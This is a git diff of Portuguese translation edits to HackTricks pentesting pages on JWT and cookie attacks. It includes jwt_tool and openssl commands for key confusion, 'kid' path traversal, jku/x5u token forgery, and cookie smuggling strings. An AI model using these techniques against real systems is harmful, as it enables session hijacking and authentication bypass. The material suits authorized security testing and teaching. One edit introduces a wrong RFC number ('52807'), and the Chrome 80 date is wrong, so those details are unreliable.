|
- Uma mudança na página retornada também indica verificação.
|
||||||
- Nenhuma mudança sugere nenhuma verificação; é nesse momento que se deve experimentar manipular as reivindicações de carga útil.
|
- Nenhuma mudança sugere nenhuma verificação; é nesse momento que se deve experimentar manipular as reivindicações do payload.
|
||||||
|
|
||||||
### Origem
|
### Origem
|
||||||
|
|
||||||
É importante determinar se o token foi gerado no lado do servidor ou no lado do cliente examinando o histórico de solicitações do proxy.
|
É importante determinar se o token foi gerado no lado do servidor ou no lado do cliente examinando o histórico de solicitações do proxy.
|
||||||
|
|
||||||
- Tokens vistos pela primeira vez do lado do cliente sugerem que a chave pode estar exposta ao código do lado do cliente, exigindo investigação adicional.
|
- Tokens vistos pela primeira vez do lado do cliente sugerem que a chave pode estar exposta ao código do lado do cliente, exigindo investigação adicional.
|
||||||
- Tokens originados no lado do servidor indicam um processo seguro.
|
- Tokens originados do lado do servidor indicam um processo seguro.
|
||||||
|
|
||||||
### Duração
|
### Duração
|
||||||
|
|
||||||
|
@ -84,7 +84,7 @@ Em seguida, usando a chave pública e alterando RS256 para HS256, poderíamos cr
|
||||||
openssl s_client -connect example.com:443 2>&1 < /dev/null | sed -n '/-----BEGIN/,/-----END/p' > certificatechain.pem #For this attack you can use the JOSEPH Burp extension. In the Repeater, select the JWS tab and select the Key confusion attack. Load the PEM, Update the request and send it. (This extension allows you to send the "non" algorithm attack also). It is also recommended to use the tool jwt_tool with the option 2 as the previous Burp Extension does not always works well.
|
openssl s_client -connect example.com:443 2>&1 < /dev/null | sed -n '/-----BEGIN/,/-----END/p' > certificatechain.pem #For this attack you can use the JOSEPH Burp extension. In the Repeater, select the JWS tab and select the Key confusion attack. Load the PEM, Update the request and send it. (This extension allows you to send the "non" algorithm attack also). It is also recommended to use the tool jwt_tool with the option 2 as the previous Burp Extension does not always works well.
|
||||||
openssl x509 -pubkey -in certificatechain.pem -noout > pubkey.pem
|
openssl x509 -pubkey -in certificatechain.pem -noout > pubkey.pem
|
||||||
```
|
```
|
||||||
### Nova chave pública dentro do cabeçalho
|
### Novo chave pública dentro do cabeçalho
|
||||||
|
|
||||||
Um atacante incorpora uma nova chave no cabeçalho do token e o servidor utiliza essa nova chave para verificar a assinatura (CVE-2018-0114).
|
Um atacante incorpora uma nova chave no cabeçalho do token e o servidor utiliza essa nova chave para verificar a assinatura (CVE-2018-0114).
|
||||||
|
|
||||||
|
@ -93,15 +93,15 @@ Isso pode ser feito com a extensão "JSON Web Tokens" do Burp.\
|
||||||
|
|
||||||
### Falsificação de JWKS
|
### Falsificação de JWKS
|
||||||
|
|
||||||
As instruções detalham um método para avaliar a segurança de tokens JWT, especialmente aqueles que empregam uma declaração de cabeçalho "jku". Esta declaração deve se vincular a um arquivo JWKS (JSON Web Key Set) que contenha a chave pública necessária para a verificação do token.
|
As instruções detalham um método para avaliar a segurança de tokens JWT, especialmente aqueles que empregam um cabeçalho de reivindicação "jku". Essa reivindicação deve se vincular a um arquivo JWKS (JSON Web Key Set) que contenha a chave pública necessária para a verificação do token.
|
||||||
|
|
||||||
- **Avaliando Tokens com Cabeçalho "jku"**:
|
- **Avaliando Tokens com Cabeçalho "jku"**:
|
||||||
- Verifique a URL da declaração "jku" para garantir que ela leve ao arquivo JWKS apropriado.
|
- Verifique a URL da reivindicação "jku" para garantir que ela leve ao arquivo JWKS apropriado.
|
||||||
- Modifique o valor "jku" do token para direcionar para um serviço web controlado, permitindo a observação do tráfego.
|
- Modifique o valor "jku" do token para direcionar para um serviço web controlado, permitindo a observação do tráfego.
|
||||||
|
|
||||||
- **Monitorando a Interação HTTP**:
|
- **Monitorando a Interação HTTP**:
|
||||||
- Observar as solicitações HTTP para a URL especificada indica as tentativas do servidor de buscar chaves a partir do link fornecido.
|
- Observar as solicitações HTTP para a URL especificada indica as tentativas do servidor de buscar chaves a partir do link fornecido.
|
||||||
- Ao utilizar `jwt_tool` para este processo, é crucial atualizar o arquivo `jwtconf.ini` com a localização do seu JWKS pessoal para facilitar os testes.
|
- Ao utilizar `jwt_tool` para esse processo, é crucial atualizar o arquivo `jwtconf.ini` com a localização do seu JWKS pessoal para facilitar os testes.
|
||||||
|
|
||||||
- **Comando para `jwt_tool`**:
|
- **Comando para `jwt_tool`**:
|
||||||
- Execute o seguinte comando para simular o cenário com `jwt_tool`:
|
- Execute o seguinte comando para simular o cenário com `jwt_tool`:
|
||||||
|
@ -111,15 +111,15 @@ python3 jwt_tool.py JWT_AQUI -X s
|
||||||
|
|
||||||
### Visão Geral de Problemas com "Kid"
|
### Visão Geral de Problemas com "Kid"
|
||||||
|
|
||||||
Uma declaração de cabeçalho opcional conhecida como `kid` é utilizada para identificar uma chave específica, o que se torna particularmente vital em ambientes onde múltiplas chaves existem para a verificação da assinatura do token. Esta declaração auxilia na seleção da chave apropriada para verificar a assinatura de um token.
|
Uma reivindicação de cabeçalho opcional conhecida como `kid` é utilizada para identificar uma chave específica, o que se torna particularmente vital em ambientes onde múltiplas chaves existem para verificação da assinatura do token. Essa reivindicação auxilia na seleção da chave apropriada para verificar a assinatura de um token.
|
||||||
|
|
||||||
#### Revelando Chave através de "kid"
|
#### Revelando Chave através de "kid"
|
||||||
|
|
||||||
Quando a declaração `kid` está presente no cabeçalho, é aconselhável pesquisar o diretório da web pelo arquivo correspondente ou suas variações. Por exemplo, se `"kid":"chave/12345"` for especificado, os arquivos _/chave/12345_ e _/chave/12345.pem_ devem ser procurados na raiz da web.
|
Quando a reivindicação `kid` está presente no cabeçalho, é aconselhável pesquisar o diretório da web pelo arquivo correspondente ou suas variações. Por exemplo, se `"kid":"chave/12345"` for especificado, os arquivos _/chave/12345_ e _/chave/12345.pem_ devem ser procurados na raiz da web.
|
||||||
|
|
||||||
#### Traversing de Caminho com "kid"
|
#### Traversão de Caminho com "kid"
|
||||||
|
|
||||||
A declaração `kid` também pode ser explorada para navegar pelo sistema de arquivos, potencialmente permitindo a seleção de um arquivo arbitrário. É viável testar a conectividade ou executar ataques de Solicitação de Servidor-Side Forgery (SSRF) alterando o valor `kid` para direcionar arquivos ou serviços específicos. Manipular o JWT para alterar o valor `kid` mantendo a assinatura original pode ser alcançado usando a bandeira `-T` no jwt_tool, conforme demonstrado abaixo:
|
A reivindicação `kid` também pode ser explorada para navegar pelo sistema de arquivos, potencialmente permitindo a seleção de um arquivo arbitrário. É viável testar a conectividade ou executar ataques de Solicitação de Servidor-Side (SSRF) alterando o valor `kid` para direcionar arquivos ou serviços específicos. Manipular o JWT para alterar o valor `kid` mantendo a assinatura original pode ser alcançado usando a bandeira `-T` no jwt_tool, conforme demonstrado abaixo:
|
||||||
```bash
|
```bash
|
||||||
python3 jwt_tool.py <JWT> -I -hc kid -hv "../../dev/null" -S hs256 -p ""
|
python3 jwt_tool.py <JWT> -I -hc kid -hv "../../dev/null" -S hs256 -p ""
|
||||||
```
|
```
|
||||||
|
@ -152,7 +152,7 @@ openssl genrsa -out keypair.pem 2048
|
||||||
openssl rsa -in keypair.pem -pubout -out publickey.crt
|
openssl rsa -in keypair.pem -pubout -out publickey.crt
|
||||||
openssl pkcs8 -topk8 -inform PEM -outform PEM -nocrypt -in keypair.pem -out pkcs8.key
|
openssl pkcs8 -topk8 -inform PEM -outform PEM -nocrypt -in keypair.pem -out pkcs8.key
|
||||||
```
|
```
|
||||||
Então você pode usar, por exemplo, [**jwt.io**](https://jwt.io) para criar o novo JWT com as **chaves públicas e privadas criadas e apontando o parâmetro jku para o certificado criado.** Para criar um certificado jku válido, você pode baixar o original e alterar os parâmetros necessários.
|
Então você pode usar, por exemplo, [**jwt.io**](https://jwt.io) para criar o novo JWT com as **chaves pública e privada criadas e apontando o parâmetro jku para o certificado criado.** Para criar um certificado jku válido, você pode baixar o original e alterar os parâmetros necessários.
|
||||||
|
|
||||||
Você pode obter os parâmetros "e" e "n" de um certificado público usando:
|
Você pode obter os parâmetros "e" e "n" de um certificado público usando:
|
||||||
```bash
|
```bash
|
||||||
|
@ -165,7 +165,7 @@ print("e:", hex(key.e))
|
||||||
```
|
```
|
||||||
#### x5u
|
#### x5u
|
||||||
|
|
||||||
X.509 URL. Um URI apontando para um conjunto de certificados públicos X.509 (um padrão de formato de certificado) codificados em forma PEM. O primeiro certificado no conjunto deve ser aquele usado para assinar este JWT. Os certificados subsequentes assinam cada um o anterior, completando assim a cadeia de certificados. X.509 é definido no RFC 5280. A segurança de transporte é necessária para transferir os certificados.
|
X.509 URL. Um URI apontando para um conjunto de certificados públicos X.509 (um padrão de formato de certificado) codificados em forma PEM. O primeiro certificado no conjunto deve ser aquele usado para assinar este JWT. Os certificados subsequentes assinam cada um o anterior, completando assim a cadeia de certificados. X.509 é definido no RFC 52807. A segurança de transporte é necessária para transferir os certificados.
|
||||||
|
|
||||||
Tente **alterar este cabeçalho para um URL sob seu controle** e verifique se alguma solicitação é recebida. Nesse caso, você **poderia adulterar o JWT**.
|
Tente **alterar este cabeçalho para um URL sob seu controle** e verifique se alguma solicitação é recebida. Nesse caso, você **poderia adulterar o JWT**.
|
||||||
|
|
||||||
|
@ -174,7 +174,7 @@ Para forjar um novo token usando um certificado controlado por você, é necess
|
||||||
openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout attacker.key -out attacker.crt
|
openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout attacker.key -out attacker.crt
|
||||||
openssl x509 -pubkey -noout -in attacker.crt > publicKey.pem
|
openssl x509 -pubkey -noout -in attacker.crt > publicKey.pem
|
||||||
```
|
```
|
||||||
Então você pode usar, por exemplo, [**jwt.io**](https://jwt.io) para criar o novo JWT com as **chaves pública e privada criadas e apontando o parâmetro x5u para o certificado .crt criado**.
|
Então você pode usar, por exemplo, [**jwt.io**](https://jwt.io) para criar o novo JWT com as **chaves públicas e privadas criadas e apontando o parâmetro x5u para o certificado .crt criado**.
|
||||||
|
|
||||||
![](<../.gitbook/assets/image (439).png>)
|
![](<../.gitbook/assets/image (439).png>)
|
||||||
|
|
||||||
|
@ -197,7 +197,7 @@ Se o JWT tiver incorporada uma chave pública como no seguinte cenário:
|
||||||
|
|
||||||
![](<../.gitbook/assets/image (438).png>)
|
![](<../.gitbook/assets/image (438).png>)
|
||||||
|
|
||||||
Usando o seguinte script nodejs, é possível gerar uma chave pública a partir desses dados:
|
Usando o seguinte script nodejs é possível gerar uma chave pública a partir desses dados:
|
||||||
```bash
|
```bash
|
||||||
const NodeRSA = require('node-rsa');
|
const NodeRSA = require('node-rsa');
|
||||||
const fs = require('fs');
|
const fs = require('fs');
|
||||||
|
@ -244,7 +244,7 @@ Foi observado que algumas aplicações web dependem de um serviço JWT confiáve
|
||||||
|
|
||||||
**Verificação de Expiração de Tokens**
|
**Verificação de Expiração de Tokens**
|
||||||
|
|
||||||
A expiração do token é verificada usando a reivindicação de Payload "exp". Dado que os JWTs são frequentemente empregados sem informações de sessão, é necessária uma manipulação cuidadosa. Em muitas instâncias, capturar e reproduzir o JWT de outro usuário poderia permitir a impersonificação desse usuário. O RFC do JWT recomenda mitigar ataques de reprodução de JWT utilizando a reivindicação "exp" para definir um tempo de expiração para o token. Além disso, a implementação de verificações relevantes pela aplicação para garantir o processamento desse valor e a rejeição de tokens expirados é crucial. Se o token incluir uma reivindicação "exp" e os limites de tempo de teste permitirem, armazenar o token e reproduzi-lo após o tempo de expiração ter passado é aconselhável. O conteúdo do token, incluindo a análise de timestamp e verificação de expiração (timestamp em UTC), pode ser lido usando a flag -R da ferramenta jwt_tool.
|
A expiração do token é verificada usando a reivindicação de Payload "exp". Dado que os JWTs são frequentemente empregados sem informações de sessão, é necessária uma manipulação cuidadosa. Em muitas instâncias, capturar e reproduzir o JWT de outro usuário poderia permitir a personificação desse usuário. O RFC do JWT recomenda mitigar ataques de reprodução de JWT utilizando a reivindicação "exp" para definir um tempo de expiração para o token. Além disso, a implementação de verificações relevantes pela aplicação para garantir o processamento desse valor e a rejeição de tokens expirados é crucial. Se o token incluir uma reivindicação "exp" e os limites de tempo de teste permitirem, armazenar o token e reproduzi-lo após o tempo de expiração ter passado é aconselhável. O conteúdo do token, incluindo a análise de timestamp e verificação de expiração (timestamp em UTC), pode ser lido usando a flag -R da ferramenta jwt_tool.
|
||||||
|
|
||||||
- Um risco de segurança pode estar presente se a aplicação ainda validar o token, pois isso pode implicar que o token nunca poderia expirar.
|
- Um risco de segurança pode estar presente se a aplicação ainda validar o token, pois isso pode implicar que o token nunca poderia expirar.
|
||||||
|
|
||||||
|
@ -253,20 +253,20 @@ A expiração do token é verificada usando a reivindicação de Payload "exp".
|
||||||
{% embed url="https://github.com/ticarpi/jwt_tool" %}
|
{% embed url="https://github.com/ticarpi/jwt_tool" %}
|
||||||
|
|
||||||
<img src="../.gitbook/assets/i3.png" alt="" data-size="original">\
|
<img src="../.gitbook/assets/i3.png" alt="" data-size="original">\
|
||||||
**Dica de recompensa por bugs**: **Inscreva-se** no **Intigriti**, uma plataforma de **recompensas por bugs premium criada por hackers, para hackers**! Junte-se a nós em [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) hoje e comece a ganhar recompensas de até **$100.000**!
|
**Dica de recompensa por bugs**: **inscreva-se** no **Intigriti**, uma plataforma de **recompensas por bugs premium criada por hackers, para hackers**! Junte-se a nós em [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) hoje e comece a ganhar recompensas de até **$100.000**!
|
||||||
|
|
||||||
{% embed url="https://go.intigriti.com/hacktricks" %}
|
{% embed url="https://go.intigriti.com/hacktricks" %}
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>Aprenda hacking na AWS de zero a herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
<summary><strong>Aprenda hacking na AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
Outras maneiras de apoiar o HackTricks:
|
Outras maneiras de apoiar o HackTricks:
|
||||||
|
|
||||||
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||||
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||||
* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou nos siga no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||||
* **Compartilhe seus truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
* **Compartilhe seus truques de hacking enviando PRs para os repositórios do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
|
@ -9,8 +9,8 @@ Outras maneiras de apoiar o HackTricks:
|
||||||
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||||
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||||
* **Compartilhe seus truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
|
* **Compartilhe seus truques de hacking enviando PRs para** os repositórios do [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) no GitHub.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
||||||
|
@ -24,7 +24,7 @@ Encontre vulnerabilidades que são mais importantes para que você possa corrigi
|
||||||
|
|
||||||
## Atributos de Cookies
|
## Atributos de Cookies
|
||||||
|
|
||||||
Os cookies vêm com vários atributos que controlam seu comportamento no navegador do usuário. Aqui está uma visão geral desses atributos de forma mais passiva:
|
Os cookies vêm com vários atributos que controlam seu comportamento no navegador do usuário. Aqui está uma visão geral desses atributos em uma voz mais passiva:
|
||||||
|
|
||||||
### Expira e Max-Age
|
### Expira e Max-Age
|
||||||
|
|
||||||
|
@ -47,9 +47,9 @@ Quando dois cookies têm o mesmo nome, o escolhido para envio é baseado em:
|
||||||
### SameSite
|
### SameSite
|
||||||
|
|
||||||
- O atributo `SameSite` dita se os cookies são enviados em solicitações originadas de domínios de terceiros. Ele oferece três configurações:
|
- O atributo `SameSite` dita se os cookies são enviados em solicitações originadas de domínios de terceiros. Ele oferece três configurações:
|
||||||
- **Strict**: Restringe o cookie de ser enviado em solicitações de terceiros.
|
- **Estrito**: Restringe o cookie de ser enviado em solicitações de terceiros.
|
||||||
- **Lax**: Permite que o cookie seja enviado com solicitações GET iniciadas por sites de terceiros.
|
- **Lax**: Permite que o cookie seja enviado com solicitações GET iniciadas por sites de terceiros.
|
||||||
- **None**: Permite que o cookie seja enviado de qualquer domínio de terceiros.
|
- **Nenhum**: Permite que o cookie seja enviado de qualquer domínio de terceiros.
|
||||||
|
|
||||||
Lembre-se, ao configurar cookies, entender esses atributos pode ajudar a garantir que eles se comportem conforme o esperado em diferentes cenários.
|
Lembre-se, ao configurar cookies, entender esses atributos pode ajudar a garantir que eles se comportem conforme o esperado em diferentes cenários.
|
||||||
|
|
||||||
|
@ -67,7 +67,7 @@ Tabela de [Invicti](https://www.netsparker.com/blog/web-security/same-site-cooki
|
||||||
Um cookie com atributo _**SameSite**_ irá **mitigar ataques CSRF** onde uma sessão logada é necessária.
|
Um cookie com atributo _**SameSite**_ irá **mitigar ataques CSRF** onde uma sessão logada é necessária.
|
||||||
|
|
||||||
**\*Observe que a partir do Chrome80 (fev/2019) o comportamento padrão de um cookie sem um atributo samesite** **será lax** ([https://www.troyhunt.com/promiscuous-cookies-and-their-impending-death-via-the-samesite-policy/](https://www.troyhunt.com/promiscuous-cookies-and-their-impending-death-via-the-samesite-policy/)).\
|
**\*Observe que a partir do Chrome80 (fev/2019) o comportamento padrão de um cookie sem um atributo samesite** **será lax** ([https://www.troyhunt.com/promiscuous-cookies-and-their-impending-death-via-the-samesite-policy/](https://www.troyhunt.com/promiscuous-cookies-and-their-impending-death-via-the-samesite-policy/)).\
|
||||||
Observe que temporariamente, após aplicar essa alteração, os **cookies sem uma política SameSite** **no Chrome serão tratados como None** durante os **primeiros 2 minutos e depois como Lax para solicitações POST entre sites de nível superior.**
|
Observe que temporariamente, após aplicar essa alteração, os **cookies sem uma política SameSite** **no Chrome serão tratados como Nenhum** durante os **primeiros 2 minutos e depois como Lax para solicitações POST entre sites de nível superior.**
|
||||||
|
|
||||||
## Flags de Cookies
|
## Flags de Cookies
|
||||||
|
|
||||||
|
@ -78,8 +78,8 @@ Isso evita que o **cliente** acesse o cookie (por exemplo, via **Javascript**: `
|
||||||
#### **Bypasses**
|
#### **Bypasses**
|
||||||
|
|
||||||
* Se a página estiver **enviando os cookies como resposta** de uma solicitação (por exemplo, em uma página **PHPinfo**), é possível abusar do XSS para enviar uma solicitação para esta página e **roubar os cookies** da resposta (verifique um exemplo em [https://hackcommander.github.io/posts/2022/11/12/bypass-httponly-via-php-info-page/](https://hackcommander.github.io/posts/2022/11/12/bypass-httponly-via-php-info-page/).
|
* Se a página estiver **enviando os cookies como resposta** de uma solicitação (por exemplo, em uma página **PHPinfo**), é possível abusar do XSS para enviar uma solicitação para esta página e **roubar os cookies** da resposta (verifique um exemplo em [https://hackcommander.github.io/posts/2022/11/12/bypass-httponly-via-php-info-page/](https://hackcommander.github.io/posts/2022/11/12/bypass-httponly-via-php-info-page/).
|
||||||
* Isso poderia ser Bypassed com solicitações **HTTP TRACE** conforme a resposta do servidor (se este método HTTP estiver disponível) refletirá os cookies enviados. Essa técnica é chamada de **Cross-Site Tracking**.
|
* Isso poderia ser Bypassed com solicitações **HTTP TRACE** como a resposta do servidor (se este método HTTP estiver disponível) refletirá os cookies enviados. Essa técnica é chamada de **Cross-Site Tracking**.
|
||||||
* Essa técnica é evitada por **navegadores modernos ao não permitir o envio de uma solicitação TRACE** a partir do JS. No entanto, alguns bypasses para isso foram encontrados em software específico, como enviar `\r\nTRACE` em vez de `TRACE` para o IE6.0 SP2.
|
* Essa técnica é evitada por **navegadores modernos ao não permitir o envio de uma solicitação TRACE** de JS. No entanto, alguns bypasses para isso foram encontrados em software específico, como enviar `\r\nTRACE` em vez de `TRACE` para o IE6.0 SP2.
|
||||||
* Outra maneira é a exploração de vulnerabilidades zero/dia dos navegadores.
|
* Outra maneira é a exploração de vulnerabilidades zero/dia dos navegadores.
|
||||||
* É possível **sobrescrever cookies HttpOnly** realizando um ataque de overflow do Cookie Jar:
|
* É possível **sobrescrever cookies HttpOnly** realizando um ataque de overflow do Cookie Jar:
|
||||||
|
|
||||||
|
@ -89,21 +89,21 @@ Isso evita que o **cliente** acesse o cookie (por exemplo, via **Javascript**: `
|
||||||
|
|
||||||
* É possível usar um ataque de [**Cookie Smuggling**](./#cookie-smuggling) para exfiltrar esses cookies
|
* É possível usar um ataque de [**Cookie Smuggling**](./#cookie-smuggling) para exfiltrar esses cookies
|
||||||
|
|
||||||
### Secure
|
### Seguro
|
||||||
|
|
||||||
A solicitação enviará o cookie **apenas** em uma solicitação HTTP se a solicitação for transmitida por um canal seguro (tipicamente **HTTPS**).
|
A solicitação enviará o cookie apenas em uma solicitação HTTP se a solicitação for transmitida por um canal seguro (tipicamente **HTTPS**).
|
||||||
|
|
||||||
## Prefixos de Cookies
|
## Prefixos de Cookies
|
||||||
|
|
||||||
Cookies prefixados com `__Secure-` devem ser definidos juntamente com a flag `secure` em páginas que são seguras por HTTPS.
|
Cookies prefixados com `__Secure-` devem ser definidos juntamente com a flag `secure` em páginas que são protegidas por HTTPS.
|
||||||
|
|
||||||
Para cookies prefixados com `__Host-`, várias condições devem ser atendidas:
|
Para cookies prefixados com `__Host-`, várias condições devem ser atendidas:
|
||||||
- Eles devem ser definidos com a flag `secure`.
|
- Eles devem ser definidos com a flag `secure`.
|
||||||
- Eles devem originar de uma página segura por HTTPS.
|
- Eles devem originar de uma página protegida por HTTPS.
|
||||||
- É proibido especificar um domínio para esses cookies, impedindo sua transmissão para subdomínios.
|
- É proibido especificar um domínio para eles, impedindo sua transmissão para subdomínios.
|
||||||
- O caminho para esses cookies deve ser definido como `/`.
|
- O caminho para esses cookies deve ser definido como `/`.
|
||||||
|
|
||||||
É importante observar que cookies prefixados com `__Host-` não podem ser enviados para superdomínios ou subdomínios. Essa restrição ajuda a isolar cookies de aplicativos. Assim, usar o prefixo `__Host-` para todos os cookies de aplicativos pode ser considerado uma boa prática para melhorar a segurança e a isolamento.
|
É importante observar que cookies prefixados com `__Host-` não podem ser enviados para superdomínios ou subdomínios. Essa restrição ajuda a isolar cookies de aplicativos. Assim, empregar o prefixo `__Host-` para todos os cookies de aplicativos pode ser considerado uma boa prática para melhorar a segurança e a isolamento.
|
||||||
|
|
||||||
## Ataques de Cookies
|
## Ataques de Cookies
|
||||||
|
|
||||||
|
@ -145,7 +145,7 @@ Tokens Web JSON (JWT) usados em cookies também podem apresentar vulnerabilidade
|
||||||
|
|
||||||
### Falsificação de Solicitação entre Sites (CSRF)
|
### Falsificação de Solicitação entre Sites (CSRF)
|
||||||
|
|
||||||
Este ataque força um usuário logado a executar ações indesejadas em um aplicativo da web no qual ele está autenticado. Os atacantes podem explorar cookies que são enviados automaticamente com cada solicitação ao site vulnerável.
|
Este ataque força um usuário logado a executar ações indesejadas em um aplicativo da web no qual ele está autenticado no momento. Os atacantes podem explorar cookies que são enviados automaticamente com cada solicitação ao site vulnerável.
|
||||||
|
|
||||||
### Cookies Vazios
|
### Cookies Vazios
|
||||||
|
|
||||||
|
@ -177,20 +177,20 @@ Isso resulta em `document.cookie` produzindo uma string vazia, indicando corrup
|
||||||
#### Contrabando de Cookies Devido a Problemas de Análise
|
#### Contrabando de Cookies Devido a Problemas de Análise
|
||||||
|
|
||||||
(Verifique mais detalhes na [pesquisa original](https://blog.ankursundara.com/cookie-bugs/))
|
(Verifique mais detalhes na [pesquisa original](https://blog.ankursundara.com/cookie-bugs/))
|
||||||
Vários servidores web, incluindo os de Java (Jetty, TomCat, Undertow) e Python (Zope, cherrypy, web.py, aiohttp, bottle, webob), lidam incorretamente com strings de cookies devido ao suporte desatualizado do RFC2965. Eles leem um valor de cookie entre aspas duplas como um único valor, mesmo que inclua ponto e vírgula, que normalmente deveria separar pares chave-valor:
|
Vários servidores web, incluindo os de Java (Jetty, TomCat, Undertow) e Python (Zope, cherrypy, web.py, aiohttp, bottle, webob), lidam incorretamente com strings de cookies devido ao suporte desatualizado ao RFC2965. Eles leem um valor de cookie entre aspas duplas como um único valor, mesmo que inclua ponto e vírgula, que normalmente deveria separar pares chave-valor:
|
||||||
```
|
```
|
||||||
RENDER_TEXT="hello world; JSESSIONID=13371337; ASDF=end";
|
RENDER_TEXT="hello world; JSESSIONID=13371337; ASDF=end";
|
||||||
```
|
```
|
||||||
#### Vulnerabilidades de Injeção de Cookies
|
#### Vulnerabilidades de Injeção de Cookies
|
||||||
|
|
||||||
(Consulte mais detalhes na [pesquisa original](https://blog.ankursundara.com/cookie-bugs/))
|
(Verifique mais detalhes na [pesquisa original](https://blog.ankursundara.com/cookie-bugs/))
|
||||||
A análise incorreta de cookies por servidores, especialmente Undertow, Zope e aqueles que usam `http.cookie.SimpleCookie` e `http.cookie.BaseCookie` do Python, cria oportunidades para ataques de injeção de cookies. Esses servidores falham em delimitar corretamente o início de novos cookies, permitindo que atacantes falsifiquem cookies:
|
A análise incorreta de cookies por servidores, especialmente Undertow, Zope e aqueles que usam `http.cookie.SimpleCookie` e `http.cookie.BaseCookie` do Python, cria oportunidades para ataques de injeção de cookies. Esses servidores falham em delimitar corretamente o início de novos cookies, permitindo que atacantes falsifiquem cookies:
|
||||||
|
|
||||||
- Undertow espera um novo cookie imediatamente após um valor entre aspas sem ponto e vírgula.
|
- Undertow espera um novo cookie imediatamente após um valor entre aspas sem ponto e vírgula.
|
||||||
- Zope procura por uma vírgula para iniciar a análise do próximo cookie.
|
- Zope procura por uma vírgula para começar a analisar o próximo cookie.
|
||||||
- As classes de cookies do Python começam a análise em um caractere de espaço.
|
- As classes de cookies do Python começam a análise em um caractere de espaço.
|
||||||
|
|
||||||
Essa vulnerabilidade é particularmente perigosa em aplicações web que dependem de proteção CSRF baseada em cookies, pois permite que atacantes injetem cookies de token CSRF falsificados, potencialmente contornando medidas de segurança. O problema é agravado pelo tratamento de nomes de cookies duplicados pelo Python, onde a última ocorrência substitui as anteriores. Também levanta preocupações para cookies `__Secure-` e `__Host-` em contextos inseguros e pode levar a bypasses de autorização quando cookies são enviados para servidores back-end suscetíveis a falsificação.
|
Essa vulnerabilidade é particularmente perigosa em aplicações web que dependem de proteção CSRF baseada em cookies, pois permite que atacantes injetem cookies de token CSRF falsificados, potencialmente contornando medidas de segurança. O problema é agravado pelo tratamento de nomes de cookies duplicados pelo Python, onde a última ocorrência substitui as anteriores. Também levanta preocupações para cookies `__Secure-` e `__Host-` em contextos inseguros e poderia levar a bypass de autorização quando cookies são enviados para servidores back-end suscetíveis a falsificação.
|
||||||
|
|
||||||
|
|
||||||
### Verificações Extras de Cookies Vulneráveis
|
### Verificações Extras de Cookies Vulneráveis
|
||||||
|
@ -202,14 +202,14 @@ Essa vulnerabilidade é particularmente perigosa em aplicações web que depende
|
||||||
* Tente fazer login com 2 dispositivos (ou navegadores) na mesma conta usando o mesmo cookie.
|
* Tente fazer login com 2 dispositivos (ou navegadores) na mesma conta usando o mesmo cookie.
|
||||||
* Verifique se o cookie contém alguma informação e tente modificá-lo.
|
